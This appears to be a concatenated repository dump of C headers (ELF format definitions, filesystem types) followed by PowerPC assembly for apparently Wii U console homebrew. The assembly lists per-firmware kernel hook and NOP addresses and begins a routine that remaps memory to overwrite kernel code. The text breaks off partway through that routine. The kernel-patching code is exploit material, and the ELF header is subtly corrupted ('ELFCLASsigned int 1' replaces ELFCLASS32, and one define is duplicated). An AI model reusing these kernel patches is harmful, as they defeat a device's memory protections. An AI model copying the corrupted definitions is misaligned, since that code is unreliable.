#define ELFCLASsigned int 1 /* 32-bit objs */
#define ELFCLASS64 2 /* 64-bit objs */
#define ELFCLASSNUM 3 /* number of classes */
/* e_ident[] data encoding */
#define ELFDATANONE 0 /* invalid */
#define ELFDATA2LSB 1 /* Little-Endian */
#define ELFDATA2MSB 2 /* Big-Endian */
#define ELFDATANUM 3 /* number of data encode defines */
/* e_ident[] OS/ABI specific ELF extensions */
#define ELFOSABI_NONE 0 /* No extension specified */
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
#define ELFOSABI_NETBSD 2 /* NetBSD */
#define ELFOSABI_LINUX 3 /* Linux */
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
#define ELFOSABI_AIX 7 /* AIX */
#define ELFOSABI_IRIX 8 /* IRIX */
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
/* 64-255 Architecture-specific value range */
/* e_ident[] ABI Version */
#define ELFABIVERSION 0
/* e_ident */
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
/* ELF Header */
typedef struct elfhdr{
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
Elf32_Half e_type; /* object file type */
Elf32_Half e_machine; /* machine */
Elf32_Word e_version; /* object file version */
Elf32_Addr e_entry; /* virtual entry point */
Elf32_Off e_phoff; /* program header table offset */
Elf32_Off e_shoff; /* section header table offset */
Elf32_Word e_flags; /* processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size */
Elf32_Half e_phentsize; /* program header entry size */
Elf32_Half e_phnum; /* number of program header entries */
Elf32_Half e_shentsize; /* section header entry size */
Elf32_Half e_shnum; /* number of section header entries */
Elf32_Half e_shstrndx; /* section header table's "section
header string table" entry offset */
} Elf32_Ehdr;
/* e_type */
#define ET_NONE 0 /* No file type */
#define ET_REL 1 /* relocatable file */
#define ET_EXEC 2 /* executable file */
#define ET_DYN 3 /* shared object file */
#define ET_CORE 4 /* core file */
#define ET_NUM 5 /* number of types */
#define ET_LOOS 0xfe00 /* reserved range for operating */
#define ET_HIOS 0xfeff /* system specific e_type */
#define ET_LOPROC 0xff00 /* reserved range for processor */
#define ET_HIPROC 0xffff /* specific e_type */
/* e_machine */
#define EM_NONE 0 /* No Machine */
#define EM_M32 1 /* AT&T WE 32100 */
#define EM_SPARC 2 /* SPARC */
#define EM_386 3 /* Intel 80386 */
#define EM_68K 4 /* Motorola 68000 */
#define EM_88K 5 /* Motorola 88000 */
#if 0
#define EM_486 6 /* RESERVED - was Intel 80486 */
#endif
#define EM_860 7 /* Intel 80860 */
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
#define EM_S370 9 /* IBM System/370 Processor */
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
#if 0
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
64-bit unoffical */
#endif
/* RESERVED 11-14 for future use */
#define EM_PARISC 15 /* HPPA */
/* RESERVED 16 for future use */
#define EM_VPP500 17 /* Fujitsu VPP500 */
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
#define EM_960 19 /* Intel 80960 */
#define EM_PPC 20 /* PowerPC */
#define EM_PPC64 21 /* 64-bit PowerPC */
#define EM_S390 22 /* IBM System/390 Processor */
/* RESERVED 23-35 for future use */
#define EM_V800 36 /* NEC V800 */
#define EM_FR20 37 /* Fujitsu FR20 */
#define EM_RH32 38 /* TRW RH-32 */
#define EM_RCE 39 /* Motorola RCE */
#define EM_ARM 40 /* Advanced Risc Machines ARM */
#define EM_ALPHA 41 /* Digital Alpha */
#define EM_SH 42 /* Hitachi SH */
#define EM_SPARCV9 43 /* SPARC Version 9 */
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
#define EM_ARC 45 /* Argonaut RISC Core */
#define EM_H8_300 46 /* Hitachi H8/300 */
#define EM_H8_300H 47 /* Hitachi H8/300H */
#define EM_H8S 48 /* Hitachi H8S */
#define EM_H8_500 49 /* Hitachi H8/500 */
#define EM_IA_64 50 /* Intel Merced */
#define EM_MIPS_X 51 /* Stanford MIPS-X */
#define EM_COLDFIRE 52 /* Motorola Coldfire */
#define EM_68HC12 53 /* Motorola M68HC12 */
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
#define EM_PCP 55 /* Siemens PCP */
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
#define EM_STARCORE 58 /* Motorola Start*Core processor */
#define EM_ME16 59 /* Toyota ME16 processor */
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
#define EM_X86_64 62 /* AMD x86-64 */
#define EM_PDSP 63 /* Sony DSP Processor */
/* RESERVED 64,65 for future use */
#define EM_FX66 66 /* Siemens FX66 microcontroller */
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
#define EM_SVX 73 /* Silicon Graphics SVx */
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
#define EM_VAX 75 /* Digital VAX */
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
#define EM_HUANY 81 /* Harvard University mach-indep objs */
#define EM_PRISM 82 /* SiTera Prism */
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
#define EM_FR30 84 /* Fujitsu FR30 */
#define EM_D10V 85 /* Mitsubishi DV10V */
#define EM_D30V 86 /* Mitsubishi DV30V */
#define EM_V850 87 /* NEC v850 */
#define EM_M32R 88 /* Mitsubishi M32R */
#define EM_MN10300 89 /* Matsushita MN10200 */
#define EM_MN10200 90 /* Matsushita MN10200 */
#define EM_PJ 91 /* picoJava */
#define EM_NUM 92 /* number of machine types */
/* Version */
#define EV_NONE 0 /* Invalid */
#define EV_CURRENT 1 /* Current */
#define EV_NUM 2 /* number of versions */
/* Section Header */
typedef struct {
Elf32_Word sh_name; /* name - index into section header
string table section */
Elf32_Word sh_type; /* type */
Elf32_Word sh_flags; /* flags */
Elf32_Addr sh_addr; /* address */
Elf32_Off sh_offset; /* file offset */
Elf32_Word sh_size; /* section size */
Elf32_Word sh_link; /* section header table index link */
Elf32_Word sh_info; /* extra information */
Elf32_Word sh_addralign; /* address alignment */
Elf32_Word sh_entsize; /* section entry size */
} Elf32_Shdr;
/* Special Section Indexes */
#define SHN_UNDEF 0 /* undefined */
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
#define SHN_LOPROC 0xff00 /* reserved range for processor */
#define SHN_HIPROC 0xff1f /* specific section indexes */
#define SHN_LOOS 0xff20 /* reserved range for operating */
#define SHN_HIOS 0xff3f /* specific semantics */
#define SHN_ABS 0xfff1 /* absolute value */
#define SHN_COMMON 0xfff2 /* common symbol */
#define SHN_XINDEX 0xffff /* Index is an extra table */
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
/* sh_type */
#define SHT_NULL 0 /* inactive */
#define SHT_PROGBITS 1 /* program defined information */
#define SHT_SYMTAB 2 /* symbol table section */
#define SHT_STRTAB 3 /* string table section */
#define SHT_RELA 4 /* relocation section with addends*/
#define SHT_HASH 5 /* symbol hash table section */
#define SHT_DYNAMIC 6 /* dynamic section */
#define SHT_NOTE 7 /* note section */
#define SHT_NOBITS 8 /* no space section */
#define SHT_REL 9 /* relation section without addends */
#define SHT_SHLIB 10 /* reserved - purpose unknown */
#define SHT_DYNSYM 11 /* dynamic symbol table section */
#define SHT_INIT_ARRAY 14 /* Array of constructors */
#define SHT_FINI_ARRAY 15 /* Array of destructors */
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
#define SHT_GROUP 17 /* Section group */
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
#define SHT_NUM 19 /* number of section types */
#define SHT_LOOS 0x60000000 /* Start OS-specific */
#define SHT_HIOS 0x6fffffff /* End OS-specific */
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
#define SHT_HIPROC 0x7fffffff /* specific section header types */
#define SHT_LOUSER 0x80000000 /* reserved range for application */
#define SHT_HIUSER 0xffffffff /* specific indexes */
/* Section names */
#define ELF_BSS ".bss" /* uninitialized data */
#define ELF_COMMENT ".comment" /* version control information */
#define ELF_DATA ".data" /* initialized data */
#define ELF_DATA1 ".data1" /* initialized data */
#define ELF_DEBUG ".debug" /* debug */
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
#define ELF_FINI ".fini" /* termination code */
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
#define ELF_GOT ".got" /* global offset table */
#define ELF_HASH ".hash" /* symbol hash table */
#define ELF_INIT ".init" /* initialization code */
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
#define ELF_LINE ".line" /* Symbolic line numnber information */
#define ELF_NOTE ".note" /* Contains note section */
#define ELF_PLT ".plt" /* Procedure linkage table */
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
#define ELF_REL_DATA ".rel.data" /* relocation data */
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
#define ELF_REL_TEXT ".rel.text" /* relocation code */
#define ELF_RODATA ".rodata" /* read-only data */
#define ELF_RODATA1 ".rodata1" /* read-only data */
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
#define ELF_STRTAB ".strtab" /* string table */
#define ELF_SYMTAB ".symtab" /* symbol table */
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
#define ELF_TBSS ".tbss" /* thread local uninit data */
#define ELF_TDATA ".tdata" /* thread local init data */
#define ELF_TDATA1 ".tdata1" /* thread local init data */
#define ELF_TEXT ".text" /* code */
/* Section Attribute Flags - sh_flags */
#define SHF_WRITE 0x1 /* Writable */
#define SHF_ALLOC 0x2 /* occupies memory */
#define SHF_EXECINSTR 0x4 /* executable */
#define SHF_MERGE 0x10 /* Might be merged */
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
#define SHF_GROUP 0x200 /* Member of section group */
#define SHF_TLS 0x400 /* Thread local storage */
#define SHF_MASKOS 0x0ff00000 /* OS specific */
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific section attributes */
/* Section Group Flags */
#define GRP_COMDAT 0x1 /* COMDAT group */
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
/* Symbol Table Entry */
typedef struct elf32_sym {
Elf32_Word st_name; /* name - index into string table */
Elf32_Addr st_value; /* symbol value */
Elf32_Word st_size; /* symbol size */
unsigned char st_info; /* type and binding */
unsigned char st_other; /* 0 - no defined meaning */
Elf32_Half st_shndx; /* section header index */
} Elf32_Sym;
/* Symbol table index */
#define STN_UNDEF 0 /* undefined */
/* Extract symbol info - st_info */
#define ELF32_ST_BIND(x) ((x) >> 4)
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
/* Symbol Binding - ELF32_ST_BIND - st_info */
#define STB_LOCAL 0 /* Local symbol */
#define STB_GLOBAL 1 /* Global symbol */
#define STB_WEAK 2 /* like global - lower precedence */
#define STB_NUM 3 /* number of symbol bindings */
#define STB_LOOS 10 /* reserved range for operating */
#define STB_HIOS 12 /* system specific symbol bindings */
#define STB_LOPROC 13 /* reserved range for processor */
#define STB_HIPROC 15 /* specific symbol bindings */
/* Symbol type - ELF32_ST_TYPE - st_info */
#define STT_NOTYPE 0 /* not specified */
#define STT_OBJECT 1 /* data object */
#define STT_FUNC 2 /* function */
#define STT_SECTION 3 /* section */
#define STT_FILE 4 /* file */
#define STT_NUM 5 /* number of symbol types */
#define STT_TLS 6 /* Thread local storage symbol */
#define STT_LOOS 10 /* reserved range for operating */
#define STT_HIOS 12 /* system specific symbol types */
#define STT_LOPROC 13 /* reserved range for processor */
#define STT_HIPROC 15 /* specific symbol types */
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
#define STV_DEFAULT 0 /* Normal visibility rules */
#define STV_INTERNAL 1 /* Processor specific hidden class */
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
#define STV_PROTECTED 3 /* Not preemptible, not exported */
/* Relocation entry with implicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
} Elf32_Rel;
/* Relocation entry with explicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
Elf32_Sword r_addend;
} Elf32_Rela;
/* Extract relocation info - r_info */
#define ELF32_R_SYM(i) ((i) >> 8)
#define ELF32_R_TYPE(i) ((unsigned char) (i))
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
/* Program Header */
typedef struct {
Elf32_Word p_type; /* segment type */
Elf32_Off p_offset; /* segment offset */
Elf32_Addr p_vaddr; /* virtual address of segment */
Elf32_Addr p_paddr; /* physical address - ignored? */
Elf32_Word p_filesz; /* number of bytes in file for seg. */
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
Elf32_Word p_flags; /* flags */
Elf32_Word p_align; /* memory alignment */
} Elf32_Phdr;
/* Segment types - p_type */
#define PT_NULL 0 /* unused */
#define PT_LOAD 1 /* loadable segment */
#define PT_DYNAMIC 2 /* dynamic linking section */
#define PT_INTERP 3 /* the RTLD */
#define PT_NOTE 4 /* auxiliary information */
#define PT_SHLIB 5 /* reserved - purpose undefined */
#define PT_PHDR 6 /* program header */
#define PT_TLS 7 /* Thread local storage template */
#define PT_NUM 8 /* Number of segment types */
#define PT_LOOS 0x60000000 /* reserved range for operating */
#define PT_HIOS 0x6fffffff /* system specific segment types */
#define PT_LOPROC 0x70000000 /* reserved range for processor */
#define PT_HIPROC 0x7fffffff /* specific segment types */
/* Segment flags - p_flags */
#define PF_X 0x1 /* Executable */
#define PF_W 0x2 /* Writable */
#define PF_R 0x4 /* Readable */
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific segment flags */
/* Dynamic structure */
typedef struct
{
Elf32_Sword d_tag; /* controls meaning of d_val */
union
{
Elf32_Word d_val; /* Multiple meanings - see d_tag */
Elf32_Addr d_ptr; /* program virtual address */
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];
/* Dynamic Array Tags - d_tag */
#define DT_NULL 0 /* marks end of _DYNAMIC array */
#define DT_NEEDED 1 /* string table offset of needed lib */
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
#define DT_PLTGOT 3 /* address PLT/GOT */
#define DT_HASH 4 /* address of symbol hash table */
#define DT_STRTAB 5 /* address of string table */
#define DT_SYMTAB 6 /* address of symbol table */
#define DT_RELA 7 /* address of relocation table */
#define DT_RELASZ 8 /* size of relocation table */
#define DT_RELAENT 9 /* size of relocation entry */
#define DT_STRSZ 10 /* size of string table */
#define DT_SYMENT 11 /* size of symbol table entry */
#define DT_INIT 12 /* address of initialization func. */
#define DT_FINI 13 /* address of termination function */
#define DT_SONAME 14 /* string table offset of shared obj */
#define DT_RPATH 15 /* string table offset of library
search path */
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
#define DT_REL 17 /* address of rel. tbl. w addends */
#define DT_RELSZ 18 /* size of DT_REL relocation table */
#define DT_RELENT 19 /* size of DT_REL relocation entry */
#define DT_PLTREL 20 /* PLT referenced relocation entry */
#define DT_DEBUG 21 /* bugger */
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_NUM 34 /* Number used. */
#define DT_LOOS 0x60000000 /* reserved range for OS */
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
#define DT_LOPROC 0x70000000 /* reserved range for processor */
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
/* Dynamic Tag Flags - d_un.d_val */
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
#define DF_TEXTREL 0x04 /* Object contains text relocations */
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
/* Standard ELF hashing function */
unsigned long elf_hash(const unsigned char *name);
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
/*
* XXX - PowerPC defines really don't belong in here,
* but we'll put them in for simplicity.
*/
/* Values for Elf32/64_Ehdr.e_flags. */
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
/* Cygnus local bits below */
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
flag */
/* PowerPC relocations defined by the ABIs */
#define R_PPC_NONE 0
#define R_PPC_ADDR32 1 /* 32bit absolute address */
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
#define R_PPC_ADDR16 3 /* 16bit absolute address */
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
#define R_PPC_ADDR14_BRTAKEN 8
#define R_PPC_ADDR14_BRNTAKEN 9
#define R_PPC_REL24 10 /* PC relative 26 bit */
#define R_PPC_REL14 11 /* PC relative 16 bit */
#define R_PPC_REL14_BRTAKEN 12
#define R_PPC_REL14_BRNTAKEN 13
#define R_PPC_GOT16 14
#define R_PPC_GOT16_LO 15
#define R_PPC_GOT16_HI 16
#define R_PPC_GOT16_HA 17
#define R_PPC_PLTREL24 18
#define R_PPC_COPY 19
#define R_PPC_GLOB_DAT 20
#define R_PPC_JMP_SLOT 21
#define R_PPC_RELATIVE 22
#define R_PPC_LOCAL24PC 23
#define R_PPC_UADDR32 24
#define R_PPC_UADDR16 25
#define R_PPC_REL32 26
#define R_PPC_PLT32 27
#define R_PPC_PLTREL32 28
#define R_PPC_PLT16_LO 29
#define R_PPC_PLT16_HI 30
#define R_PPC_PLT16_HA 31
#define R_PPC_SDAREL16 32
#define R_PPC_SECTOFF 33
#define R_PPC_SECTOFF_LO 34
#define R_PPC_SECTOFF_HI 35
#define R_PPC_SECTOFF_HA 36
/* Keep this the last entry. */
#define R_PPC_NUM 37
/* The remaining relocs are from the Embedded ELF ABI, and are not
in the SVR4 ELF ABI. */
#define R_PPC_EMB_NADDR32 101
#define R_PPC_EMB_NADDR16 102
#define R_PPC_EMB_NADDR16_LO 103
#define R_PPC_EMB_NADDR16_HI 104
#define R_PPC_EMB_NADDR16_HA 105
#define R_PPC_EMB_SDAI16 106
#define R_PPC_EMB_SDA2I16 107
#define R_PPC_EMB_SDA2REL 108
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
#define R_PPC_EMB_MRKREF 110
#define R_PPC_EMB_RELSEC16 111
#define R_PPC_EMB_RELST_LO 112
#define R_PPC_EMB_RELST_HI 113
#define R_PPC_EMB_RELST_HA 114
#define R_PPC_EMB_BIT_FLD 115
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
/* Diab tool relocations. */
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
/* This is a phony reloc to handle any old fashioned TOC16 references
that may still be in object files. */
#define R_PPC_TOC16 255
#endif /* _ELF_H */

View File

@ -0,0 +1,60 @@
#ifndef FS_DEFS_H
#define FS_DEFS_H
#ifdef __cplusplus
extern "C" {
#endif
/* FS defines and types */
#define FS_MAX_LOCALPATH_SIZE 511
#define FS_MAX_MOUNTPATH_SIZE 128
#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE)
#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE
#define FS_STATUS_OK 0
#define FS_RET_UNSUPPORTED_CMD 0x0400
#define FS_RET_NO_ERROR 0x0000
#define FS_RET_ALL_ERROR (unsigned int)(-1)
#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000
/* max length of file/dir name */
#define FS_MAX_ENTNAME_SIZE 256
#define FS_SOURCETYPE_EXTERNAL 0
#define FS_SOURCETYPE_HFIO 1
#define FS_SOURCETYPE_HFIO 1
#define FS_MOUNT_SOURCE_SIZE 0x300
#define FS_CLIENT_SIZE 0x1700
#define FS_CMD_BLOCK_SIZE 0xA80
typedef struct
{
uint32_t flag;
uint32_t permission;
uint32_t owner_id;
uint32_t group_id;
uint32_t size;
uint32_t alloc_size;
uint64_t quota_size;
uint32_t ent_id;
uint64_t ctime;
uint64_t mtime;
uint8_t attributes[48];
} __attribute__((packed)) FSStat;
typedef struct
{
FSStat stat;
char name[FS_MAX_ENTNAME_SIZE];
} FSDirEntry;
#ifdef __cplusplus
}
#endif
#endif /* FS_DEFS_H */

View File

@ -0,0 +1,282 @@
#if (VER == 550)
#define BAT_SETUP_HOOK_ADDR 0xFFF1D624
# not all of those NOP address are required for every firmware
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
#define BAT_SET_NOP_ADDR_1 0xFFF06B6C
#define BAT_SET_NOP_ADDR_2 0xFFF06BF8
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D70C
#define BAT_SET_NOP_ADDR_6 0xFFF1D728
#define BAT_SET_NOP_ADDR_7 0xFFF1D82C
#define BAT_SET_NOP_ADDR_8 0xFFEE11C4
#define BAT_SET_NOP_ADDR_9 0xFFEE11C8
#elif ((VER == 532) || (VER == 540))
#define BAT_SETUP_HOOK_ADDR 0xFFF1D638
# not all of those NOP address are required for every firmware
# mainly these should stop the kernel from removing our IBAT4 and DBAT5
#define BAT_SET_NOP_ADDR_1 0xFFF06A14
#define BAT_SET_NOP_ADDR_2 0xFFF06AA0
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D720
#define BAT_SET_NOP_ADDR_6 0xFFF1D73C
#define BAT_SET_NOP_ADDR_7 0xFFF1D840
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
#elif ((VER == 500) || (VER == 510))
#define BAT_SETUP_HOOK_ADDR 0xFFF1D518
#define BAT_SET_NOP_ADDR_1 0xFFF0697C
#define BAT_SET_NOP_ADDR_2 0xFFF06A08
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D600
#define BAT_SET_NOP_ADDR_6 0xFFF1D61C
#define BAT_SET_NOP_ADDR_7 0xFFF1D720
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
#elif VER == 410
#define BAT_SETUP_HOOK_ADDR 0xFFF1AD00
#define BAT_SET_NOP_ADDR_1 0xFFF06708
#define BAT_SET_NOP_ADDR_2 0xFFF06794
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1ADE8
#define BAT_SET_NOP_ADDR_6 0xFFF1AE04
#define BAT_SET_NOP_ADDR_7 0xFFF1AF08
#define BAT_SET_NOP_ADDR_8 0xFFEE10B8
#define BAT_SET_NOP_ADDR_9 0xFFEE10BC
#elif VER == 400
#define BAT_SETUP_HOOK_ADDR 0xFFF1A440
#define BAT_SET_NOP_ADDR_1 0xFFF066FC
#define BAT_SET_NOP_ADDR_2 0xFFF06788
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1A528
#define BAT_SET_NOP_ADDR_6 0xFFF1A544
//define BAT_SET_NOP_ADDR_7 not present in 400
#define BAT_SET_NOP_ADDR_8 0xFFEE0F50
#define BAT_SET_NOP_ADDR_9 0xFFEE0F54
#elif (VER == 310)
#define BAT_SETUP_HOOK_ADDR 0xFFF19EC4
#define BAT_SET_NOP_ADDR_1 0xFFF06590
#define BAT_SET_NOP_ADDR_2 0xFFF0661C
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF19FAC
#define BAT_SET_NOP_ADDR_6 0xFFF19FC8
// #define BAT_SET_NOP_ADDR_7 not present in 3.1.0
#define BAT_SET_NOP_ADDR_8 0xFFEE0FB0
#define BAT_SET_NOP_ADDR_9 0xFFEE0FB4
#elif (VER == 300)
#define BAT_SETUP_HOOK_ADDR 0xFFF19E2C
#define BAT_SET_NOP_ADDR_1 0xFFF06590
#define BAT_SET_NOP_ADDR_2 0xFFF0661C
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF19F14
#define BAT_SET_NOP_ADDR_6 0xFFF19F30
// #define BAT_SET_NOP_ADDR_7 not present in 3.0.x
#define BAT_SET_NOP_ADDR_8 0xFFEE0DB8
#define BAT_SET_NOP_ADDR_9 0xFFEE0DBC
#else
#error Please define valid values for kernel setup.
#endif
#ifdef USE_SD_LOADER
#define BAT_SETUP_HOOK_ENTRY 0x00800000
#else
#define BAT_SETUP_HOOK_ENTRY (0x00800000 + 0x2000)
#endif
#define BAT4U_VAL 0x008000FF
#if VER >= 410
#define BAT4L_VAL 0x30800012
#elif VER <= 400
#define BAT4L_VAL 0x4E800012
#else
#error Please define valid value for firmware setup.
#endif
#define SET_R4_TO_ADDR(addr) \
lis r3, addr@h ; \
ori r3, r3, addr@l ; \
stw r4, 0(r3) ; \
dcbf 0, r3 ; \
icbi 0, r3 ;
.globl SC_0x25_KernelCopyData
SC_0x25_KernelCopyData:
li r0, 0x2500
sc
blr
.globl Syscall_0x36
Syscall_0x36:
li r0, 0x3600
sc
blr
.globl KernelPatches
KernelPatches:
# store the old DBAT0
mfdbatu r5, 0
mfdbatl r6, 0
# memory barrier
eieio
isync
# setup DBAT0 for access to kernel code memory
lis r3, 0xFFF0
ori r3, r3, 0x0002
mtdbatu 0, r3
lis r3, 0xFFF0
ori r3, r3, 0x0032
mtdbatl 0, r3
# memory barrier
eieio
isync
# SaveAndResetDataBATs_And_SRs hook setup, but could be any BAT function though
# just chosen because its simple
lis r3, BAT_SETUP_HOOK_ADDR@h
ori r3, r3, BAT_SETUP_HOOK_ADDR@l
# make the kernel setup our section in IBAT4 and
# jump to our function to restore the replaced instructions
lis r4, 0x3ce0 # lis r7, BAT4L_VAL@h
ori r4, r4, BAT4L_VAL@h
stw r4, 0x00(r3)
lis r4, 0x60e7 # ori r7, r7, BAT4L_VAL@l
ori r4, r4, BAT4L_VAL@l
stw r4, 0x04(r3)
lis r4, 0x7cf1 # mtspr 561, r7
